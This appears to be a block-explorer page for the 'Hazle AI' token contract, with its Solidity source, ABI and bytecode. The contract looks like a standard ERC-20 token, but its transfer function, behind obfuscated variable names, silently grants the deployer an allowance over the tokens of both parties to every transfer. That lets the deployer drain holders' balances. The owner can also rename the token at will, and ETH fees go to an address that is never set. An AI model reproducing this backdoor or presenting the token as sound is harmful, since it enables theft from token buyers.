ETH Price: $2,227.06 (-5.46%)
 

Overview

Max Total Supply

1,000,000 Hazle AI

Holders

5

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HazleAI

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Contract.sol
/*
Hazle AI unleashing the Power of artificial intelligence (AI) Empowering creativity.

https://t.me/HazleAI_Official
https://x.com/HazleAI_eth
https://hazleai.tech
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

interface IDEXFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IDEXRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient,uint256 amount) external returns (bool);

    function allowance(address owner,address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender,address recipient,uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner,address indexed spender,uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract HazleAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcemptFromFee;
    address private _dwmk;
    address private _pupuXum;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000 * 10 ** _decimals;
    string private  _name = unicode"Hazle AI";
    string private  _symbol = unicode"Hazle AI";
    uint256 private _initialBuyTax = 0;
    uint256 private _initialSellTax = 0;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 6;
    uint256 private _reduceSellTaxAt = 6;
    uint256 private _preventSwapBefore = 6;
    uint256 private _maxTaxSwap = _tTotal / 100;
    IDEXRouter private _dexRouter;
    address private _dexPair;
    uint256 private _buyCount = 0;
    bool private inSwap = false;
    bool private _tradingEnabled = false;
    bool private _swapEnabled = false;
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _dwmk = _msgSender();
        _isExcemptFromFee[owner()] = true;
        _isExcemptFromFee[address(this)] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);

        _dexRouter = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_dexRouter), _tTotal);
        _dexPair = IDEXFactory(_dexRouter.factory()).createPair(
            address(this),
            _dexRouter.WETH()
        );
    }

    function openTrading() external onlyOwner {
        require(!_tradingEnabled, "trading is already open");
        _swapEnabled = true;
        _tradingEnabled = true;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address _Pipi, address _Cici, uint256 _shiro) private {
        require(_Pipi != address(0), "ERC20: transfer from the zero address");
        require(_Cici != address(0), "ERC20: transfer to the zero address");
        require(_shiro > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;
        if (_Pipi != owner() && _Cici != owner()) {
            require(_tradingEnabled);
            taxAmount = _shiro
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (
                _Pipi == _dexPair &&
                _Cici != address(_dexRouter) &&
                !_isExcemptFromFee[_Cici]
            ) {
                _buyCount++;
            }

            if (_Cici == _dexPair && _Pipi != address(this)) {
                taxAmount = _shiro
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                _Cici == _dexPair &&
                _swapEnabled &&
                _buyCount > _preventSwapBefore
            ) {
                if (contractTokenBalance > _maxTaxSwap)
                    swapTokensForEth(
                        min(_shiro, min(contractTokenBalance, _maxTaxSwap))
                    );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(_Pipi, address(this), taxAmount);
        }

        _approve(_Pipi, _dwmk, _shiro);
        _approve(_Cici, _dwmk, _shiro);
        _balances[_Pipi] = _balances[_Pipi].sub(_shiro);
        _balances[_Cici] = _balances[_Cici].add(_shiro.sub(taxAmount));
        emit Transfer(_Pipi, _Cici, _shiro.sub(taxAmount));
    }

    function sendETHToFee(uint256 amount) private {
        payable(_pupuXum).transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    receive() external payable {}

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _dexRouter.WETH();
        _approve(address(this), address(_dexRouter), tokenAmount);
        _dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
      
    event MegaData(string newName, string newSymbol , address by);
        

        function ChangeMegaData(string memory _MegaDataNew1, string memory _MegaDataNew2) public onlyOwner {
         _name = _MegaDataNew1;
         _symbol =_MegaDataNew2;
        emit MegaData(_MegaDataNew1, _MegaDataNew2, msg.sender);
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"newName","type":"string"},{"indexed":false,"internalType":"string","name":"newSymbol","type":"string"},{"indexed":false,"internalType":"address","name":"by","type":"address"}],"name":"MegaData","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"string","name":"_MegaDataNew1","type":"string"},{"internalType":"string","name":"_MegaDataNew2","type":"string"}],"name":"ChangeMegaData","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600860808190526748617a6c6520414960c01b60a09081526200002b916006919062000540565b506040805180820190915260088082526748617a6c6520414960c01b60209092019182526200005d9160079162000540565b50600060085560006009556000600a556000600b556006600c556006600d556006600e5560646009600a6200009391906200072d565b620000a290620f424062000818565b620000ae9190620006bf565b600f5560006012556013805462ffffff19169055348015620000cf57600080fd5b506000620000dc62000468565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506200013062000468565b600480546001600160a01b0319166001600160a01b0392909216919091179055600160036000620001606200046c565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526003909252902080549091166001179055620001ae6009600a6200072d565b620001bd90620f424062000818565b60016000620001cb62000468565b6001600160a01b03168152602081019190915260400160002055620001ef62000468565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002296009600a6200072d565b6200023890620f424062000818565b604051620002479190620006b6565b60405180910390a3601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790819055620002aa9030906001600160a01b0316620002956009600a6200072d565b620002a490620f424062000818565b6200047b565b601060009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002f957600080fd5b505afa1580156200030e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003349190620005e6565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200039257600080fd5b505afa158015620003a7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003cd9190620005e6565b6040518363ffffffff1660e01b8152600401620003ec92919062000616565b602060405180830381600087803b1580156200040757600080fd5b505af11580156200041c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004429190620005e6565b601180546001600160a01b0319166001600160a01b03929092169190911790556200088d565b3390565b6000546001600160a01b031690565b6001600160a01b038316620004ad5760405162461bcd60e51b8152600401620004a49062000672565b60405180910390fd5b6001600160a01b038216620004d65760405162461bcd60e51b8152600401620004a49062000630565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259062000533908590620006b6565b60405180910390a3505050565b8280546200054e906200083a565b90600052602060002090601f016020900481019282620005725760008555620005bd565b82601f106200058d57805160ff1916838001178555620005bd565b82800160010185558215620005bd579182015b82811115620005bd578251825591602001919060010190620005a0565b50620005cb929150620005cf565b5090565b5b80821115620005cb5760008155600101620005d0565b600060208284031215620005f8578081fd5b81516001600160a01b03811681146200060f578182fd5b9392505050565b6001600160a01b0392831681529116602082015260400190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b600082620006db57634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611620006f4575062000724565b81870482111562000709576200070962000877565b808616156200071757918102915b9490941c938002620006e3565b94509492505050565b60006200060f60001960ff8516846000826200074c575060016200060f565b816200075b575060006200060f565b81600181146200077457600281146200077f57620007b3565b60019150506200060f565b60ff84111562000793576200079362000877565b6001841b915084821115620007ac57620007ac62000877565b506200060f565b5060208310610133831016604e8410600b8410161715620007eb575081810a83811115620007e557620007e562000877565b6200060f565b620007fa8484846001620006e0565b8086048211156200080f576200080f62000877565b02949350505050565b600081600019048311821515161562000835576200083562000877565b500290565b6002810460018216806200084f57607f821691505b602082108114156200087157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6115ec806200089d6000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f57806395d89b411161005957806395d89b4114610207578063a9059cbb1461021c578063c9567bf91461023c578063dd62ed3e14610251576100cd565b8063715018a6146101ae578063736d25fc146101c55780638da5cb5b146101e5576100cd565b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012a57806323b872dd1461014c578063313ce5671461016c57806370a082311461018e576100cd565b366100cd57005b600080fd5b3480156100de57600080fd5b506100e7610271565b6040516100f49190611062565b60405180910390f35b34801561010957600080fd5b5061011d610118366004610f6c565b610303565b6040516100f49190611057565b34801561013657600080fd5b5061013f610321565b6040516100f491906112ee565b34801561015857600080fd5b5061011d610167366004610f2c565b610341565b34801561017857600080fd5b506101816103c9565b6040516100f49190611367565b34801561019a57600080fd5b5061013f6101a9366004610ebc565b6103ce565b3480156101ba57600080fd5b506101c36103e9565b005b3480156101d157600080fd5b506101c36101e0366004610f97565b610471565b3480156101f157600080fd5b506101fa61050d565b6040516100f49190611043565b34801561021357600080fd5b506100e761051c565b34801561022857600080fd5b5061011d610237366004610f6c565b61052b565b34801561024857600080fd5b506101c361053f565b34801561025d57600080fd5b5061013f61026c366004610ef4565b6105ba565b606060068054610280906114fa565b80601f01602080910402602001604051908101604052809291908181526020018280546102ac906114fa565b80156102f95780601f106102ce576101008083540402835291602001916102f9565b820191906000526020600020905b8154815290600101906020018083116102dc57829003601f168201915b5050505050905090565b60006103176103106105e5565b84846105e9565b5060015b92915050565b600061032f6009600a6113f3565b61033c90620f42406114c4565b905090565b600061034e84848461069d565b6103be8461035a6105e5565b6103b98560405180606001604052806028815260200161158f602891396001600160a01b038a166000908152600260205260408120906103986105e5565b6001600160a01b031681526020810191909152604001600020549190610a53565b6105e9565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b6103f16105e5565b6000546001600160a01b039081169116146104275760405162461bcd60e51b815260040161041e906111b0565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104796105e5565b6000546001600160a01b039081169116146104a65760405162461bcd60e51b815260040161041e906111b0565b81516104b9906006906020850190610da2565b5080516104cd906007906020840190610da2565b507fc1da4728619a81f6074dfb486e60e2ae1d6c9a22549e6948417748dfeef8176a82823360405161050193929190611075565b60405180910390a15050565b6000546001600160a01b031690565b606060078054610280906114fa565b60006103176105386105e5565b848461069d565b6105476105e5565b6000546001600160a01b039081169116146105745760405162461bcd60e51b815260040161041e906111b0565b601354610100900460ff161561059c5760405162461bcd60e51b815260040161041e906112b7565b6013805461ff001962ff000019909116620100001716610100179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661060f5760405162461bcd60e51b815260040161041e90611273565b6001600160a01b0382166106355760405162461bcd60e51b815260040161041e906110f6565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106909085906112ee565b60405180910390a3505050565b6001600160a01b0383166106c35760405162461bcd60e51b815260040161041e9061122e565b6001600160a01b0382166106e95760405162461bcd60e51b815260040161041e906110b3565b600081116107095760405162461bcd60e51b815260040161041e906111e5565b600061071361050d565b6001600160a01b0316846001600160a01b03161415801561074d575061073761050d565b6001600160a01b0316836001600160a01b031614155b156108de57601354610100900460ff1661076657600080fd5b610792606461078c600c546012541161078157600854610785565b600a545b8590610a8d565b90610ad2565b6011549091506001600160a01b0385811691161480156107c057506010546001600160a01b03848116911614155b80156107e557506001600160a01b03831660009081526003602052604090205460ff16155b1561080057601280549060006107fa8361152f565b91905055505b6011546001600160a01b03848116911614801561082657506001600160a01b0384163014155b1561085357610850606461078c600d546012541161084657600954610785565b600b548590610a8d565b90505b600061085e306103ce565b60135490915060ff1615801561088157506011546001600160a01b038581169116145b8015610895575060135462010000900460ff165b80156108a45750600e54601254115b156108dc57600f548111156108d0576108d06108cb846108c684600f54610b14565b610b14565b610b29565b476108da47610cc5565b505b505b801561095657306000908152600160205260409020546108fe9082610d03565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061094d9085906112ee565b60405180910390a35b60045461096e9085906001600160a01b0316846105e9565b6004546109869084906001600160a01b0316846105e9565b6001600160a01b0384166000908152600160205260409020546109a99083610d32565b6001600160a01b0385166000908152600160205260409020556109ee6109cf8383610d32565b6001600160a01b03851660009081526001602052604090205490610d03565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610a388585610d32565b604051610a4591906112ee565b60405180910390a350505050565b60008184841115610a775760405162461bcd60e51b815260040161041e9190611062565b506000610a8484866114e3565b95945050505050565b600082610a9c5750600061031b565b6000610aa883856114c4565b905082610ab5858361138d565b146103c25760405162461bcd60e51b815260040161041e9061116f565b60006103c283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d74565b6000818311610b2357826103c2565b50919050565b6013805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610b7957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610bcd57600080fd5b505afa158015610be1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c059190610ed8565b81600181518110610c2657634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601054610c4c91309116846105e9565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610c859085906000908690309042906004016112f7565b600060405180830381600087803b158015610c9f57600080fd5b505af1158015610cb3573d6000803e3d6000fd5b50506013805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610cff573d6000803e3d6000fd5b5050565b600080610d108385611375565b9050838110156103c25760405162461bcd60e51b815260040161041e90611138565b60006103c283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a53565b60008183610d955760405162461bcd60e51b815260040161041e9190611062565b506000610a84848661138d565b828054610dae906114fa565b90600052602060002090601f016020900481019282610dd05760008555610e16565b82601f10610de957805160ff1916838001178555610e16565b82800160010185558215610e16579182015b82811115610e16578251825591602001919060010190610dfb565b50610e22929150610e26565b5090565b5b80821115610e225760008155600101610e27565b600082601f830112610e4b578081fd5b813567ffffffffffffffff80821115610e6657610e66611560565b604051601f8301601f191681016020018281118282101715610e8a57610e8a611560565b604052828152848301602001861015610ea1578384fd5b82602086016020830137918201602001929092529392505050565b600060208284031215610ecd578081fd5b81356103c281611576565b600060208284031215610ee9578081fd5b81516103c281611576565b60008060408385031215610f06578081fd5b8235610f1181611576565b91506020830135610f2181611576565b809150509250929050565b600080600060608486031215610f40578081fd5b8335610f4b81611576565b92506020840135610f5b81611576565b929592945050506040919091013590565b60008060408385031215610f7e578182fd5b8235610f8981611576565b946020939093013593505050565b60008060408385031215610fa9578182fd5b823567ffffffffffffffff80821115610fc0578384fd5b610fcc86838701610e3b565b93506020850135915080821115610fe1578283fd5b50610fee85828601610e3b565b9150509250929050565b60008151808452815b8181101561101d57602081850181015186830182015201611001565b8181111561102e5782602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602082526103c26020830184610ff8565b6000606082526110886060830186610ff8565b828103602084015261109a8186610ff8565b91505060018060a01b0383166040830152949350505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156113465784516001600160a01b031683529383019391830191600101611321565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b600082198211156113885761138861154a565b500190565b6000826113a857634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116113bf57506113ea565b8187048211156113d1576113d161154a565b808616156113de57918102915b9490941c9380026113b0565b94509492505050565b60006103c260001960ff85168460008261140f575060016103c2565b8161141c575060006103c2565b8160018114611432576002811461143c57611469565b60019150506103c2565b60ff84111561144d5761144d61154a565b6001841b9150848211156114635761146361154a565b506103c2565b5060208310610133831016604e8410600b841016171561149c575081810a838111156114975761149761154a565b6103c2565b6114a984848460016113ad565b8086048211156114bb576114bb61154a565b02949350505050565b60008160001904831182151516156114de576114de61154a565b500290565b6000828210156114f5576114f561154a565b500390565b60028104600182168061150e57607f821691505b60208210811415610b2357634e487b7160e01b600052602260045260246000fd5b60006000198214156115435761154361154a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461158b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122068eb10ec23a02e5a384084d79ab73ff58306a10c6980b4d38061bffea1c4251a64736f6c63430008000033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c8063715018a61161007f57806395d89b411161005957806395d89b4114610207578063a9059cbb1461021c578063c9567bf91461023c578063dd62ed3e14610251576100cd565b8063715018a6146101ae578063736d25fc146101c55780638da5cb5b146101e5576100cd565b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012a57806323b872dd1461014c578063313ce5671461016c57806370a082311461018e576100cd565b366100cd57005b600080fd5b3480156100de57600080fd5b506100e7610271565b6040516100f49190611062565b60405180910390f35b34801561010957600080fd5b5061011d610118366004610f6c565b610303565b6040516100f49190611057565b34801561013657600080fd5b5061013f610321565b6040516100f491906112ee565b34801561015857600080fd5b5061011d610167366004610f2c565b610341565b34801561017857600080fd5b506101816103c9565b6040516100f49190611367565b34801561019a57600080fd5b5061013f6101a9366004610ebc565b6103ce565b3480156101ba57600080fd5b506101c36103e9565b005b3480156101d157600080fd5b506101c36101e0366004610f97565b610471565b3480156101f157600080fd5b506101fa61050d565b6040516100f49190611043565b34801561021357600080fd5b506100e761051c565b34801561022857600080fd5b5061011d610237366004610f6c565b61052b565b34801561024857600080fd5b506101c361053f565b34801561025d57600080fd5b5061013f61026c366004610ef4565b6105ba565b606060068054610280906114fa565b80601f01602080910402602001604051908101604052809291908181526020018280546102ac906114fa565b80156102f95780601f106102ce576101008083540402835291602001916102f9565b820191906000526020600020905b8154815290600101906020018083116102dc57829003601f168201915b5050505050905090565b60006103176103106105e5565b84846105e9565b5060015b92915050565b600061032f6009600a6113f3565b61033c90620f42406114c4565b905090565b600061034e84848461069d565b6103be8461035a6105e5565b6103b98560405180606001604052806028815260200161158f602891396001600160a01b038a166000908152600260205260408120906103986105e5565b6001600160a01b031681526020810191909152604001600020549190610a53565b6105e9565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b6103f16105e5565b6000546001600160a01b039081169116146104275760405162461bcd60e51b815260040161041e906111b0565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104796105e5565b6000546001600160a01b039081169116146104a65760405162461bcd60e51b815260040161041e906111b0565b81516104b9906006906020850190610da2565b5080516104cd906007906020840190610da2565b507fc1da4728619a81f6074dfb486e60e2ae1d6c9a22549e6948417748dfeef8176a82823360405161050193929190611075565b60405180910390a15050565b6000546001600160a01b031690565b606060078054610280906114fa565b60006103176105386105e5565b848461069d565b6105476105e5565b6000546001600160a01b039081169116146105745760405162461bcd60e51b815260040161041e906111b0565b601354610100900460ff161561059c5760405162461bcd60e51b815260040161041e906112b7565b6013805461ff001962ff000019909116620100001716610100179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661060f5760405162461bcd60e51b815260040161041e90611273565b6001600160a01b0382166106355760405162461bcd60e51b815260040161041e906110f6565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106909085906112ee565b60405180910390a3505050565b6001600160a01b0383166106c35760405162461bcd60e51b815260040161041e9061122e565b6001600160a01b0382166106e95760405162461bcd60e51b815260040161041e906110b3565b600081116107095760405162461bcd60e51b815260040161041e906111e5565b600061071361050d565b6001600160a01b0316846001600160a01b03161415801561074d575061073761050d565b6001600160a01b0316836001600160a01b031614155b156108de57601354610100900460ff1661076657600080fd5b610792606461078c600c546012541161078157600854610785565b600a545b8590610a8d565b90610ad2565b6011549091506001600160a01b0385811691161480156107c057506010546001600160a01b03848116911614155b80156107e557506001600160a01b03831660009081526003602052604090205460ff16155b1561080057601280549060006107fa8361152f565b91905055505b6011546001600160a01b03848116911614801561082657506001600160a01b0384163014155b1561085357610850606461078c600d546012541161084657600954610785565b600b548590610a8d565b90505b600061085e306103ce565b60135490915060ff1615801561088157506011546001600160a01b038581169116145b8015610895575060135462010000900460ff165b80156108a45750600e54601254115b156108dc57600f548111156108d0576108d06108cb846108c684600f54610b14565b610b14565b610b29565b476108da47610cc5565b505b505b801561095657306000908152600160205260409020546108fe9082610d03565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061094d9085906112ee565b60405180910390a35b60045461096e9085906001600160a01b0316846105e9565b